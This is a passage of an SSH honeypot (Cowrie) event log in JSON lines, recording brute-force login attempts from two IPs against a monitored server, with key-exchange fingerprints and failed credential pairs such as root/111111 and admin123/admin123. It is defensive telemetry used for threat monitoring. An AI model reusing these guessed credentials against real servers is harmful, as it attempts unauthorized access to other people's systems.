{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:13.949417Z","src_ip":"103.75.199.4","session":"fe5c1eeb592f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:14.040218Z","src_ip":"103.75.199.4","session":"fe5c1eeb592f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:14.313185Z","src_ip":"103.75.199.4","session":"fe5c1eeb592f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:15.408257Z","src_ip":"103.75.199.4","session":"fe5c1eeb592f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58068,"dst_ip":"159.203.135.109","dst_port":22,"session":"311dc6a9bcfe","protocol":"ssh","message":"New connection: 45.153.34.114:58068 (159.203.135.109:22) [session: 311dc6a9bcfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:19.830536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:19.884574Z","src_ip":"45.153.34.114","session":"311dc6a9bcfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:19.923612Z","src_ip":"45.153.34.114","session":"311dc6a9bcfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:20.380789Z","src_ip":"45.153.34.114","session":"311dc6a9bcfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:21.469095Z","src_ip":"45.153.34.114","session":"311dc6a9bcfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58082,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e11116493b0","protocol":"ssh","message":"New connection: 45.153.34.114:58082 (159.203.135.109:22) [session: 2e11116493b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:28.095672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:28.100246Z","src_ip":"45.153.34.114","session":"2e11116493b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:28.182925Z","src_ip":"45.153.34.114","session":"2e11116493b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:28.450044Z","src_ip":"45.153.34.114","session":"2e11116493b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:29.646997Z","src_ip":"45.153.34.114","session":"2e11116493b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52122,"dst_ip":"159.203.135.109","dst_port":22,"session":"a89fb6fdd332","protocol":"ssh","message":"New connection: 103.75.199.4:52122 (159.203.135.109:22) [session: a89fb6fdd332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:35.872706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:35.877738Z","src_ip":"103.75.199.4","session":"a89fb6fdd332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:35.973758Z","src_ip":"103.75.199.4","session":"a89fb6fdd332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43598,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ad075597f21","protocol":"ssh","message":"New connection: 45.153.34.114:43598 (159.203.135.109:22) [session: 1ad075597f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:36.082844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:36.088243Z","src_ip":"45.153.34.114","session":"1ad075597f21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:36.171500Z","src_ip":"45.153.34.114","session":"1ad075597f21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:36.248528Z","src_ip":"103.75.199.4","session":"a89fb6fdd332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:36.449457Z","src_ip":"45.153.34.114","session":"1ad075597f21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:37.342957Z","src_ip":"103.75.199.4","session":"a89fb6fdd332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:37.557627Z","src_ip":"45.153.34.114","session":"1ad075597f21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39356,"dst_ip":"159.203.135.109","dst_port":22,"session":"606607139bbf","protocol":"ssh","message":"New connection: 45.153.34.114:39356 (159.203.135.109:22) [session: 606607139bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:44.237432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:44.244715Z","src_ip":"45.153.34.114","session":"606607139bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:44.329616Z","src_ip":"45.153.34.114","session":"606607139bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:44.590426Z","src_ip":"45.153.34.114","session":"606607139bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:45.678313Z","src_ip":"45.153.34.114","session":"606607139bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54070,"dst_ip":"159.203.135.109","dst_port":22,"session":"65d290b21f1d","protocol":"ssh","message":"New connection: 45.153.34.114:54070 (159.203.135.109:22) [session: 65d290b21f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:52.303756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:52.308119Z","src_ip":"45.153.34.114","session":"65d290b21f1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:52.391063Z","src_ip":"45.153.34.114","session":"65d290b21f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:52.667415Z","src_ip":"45.153.34.114","session":"65d290b21f1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:53.756422Z","src_ip":"45.153.34.114","session":"65d290b21f1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":35018,"dst_ip":"159.203.135.109","dst_port":22,"session":"a22eb6206402","protocol":"ssh","message":"New connection: 103.75.199.4:35018 (159.203.135.109:22) [session: a22eb6206402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:57.797353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:57.805977Z","src_ip":"103.75.199.4","session":"a22eb6206402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:57.897429Z","src_ip":"103.75.199.4","session":"a22eb6206402","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:58.171918Z","src_ip":"103.75.199.4","session":"a22eb6206402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:29:59.266185Z","src_ip":"103.75.199.4","session":"a22eb6206402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57324,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce180a7cc345","protocol":"ssh","message":"New connection: 45.153.34.114:57324 (159.203.135.109:22) [session: ce180a7cc345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:00.538678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:30:00.543512Z","src_ip":"45.153.34.114","session":"ce180a7cc345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2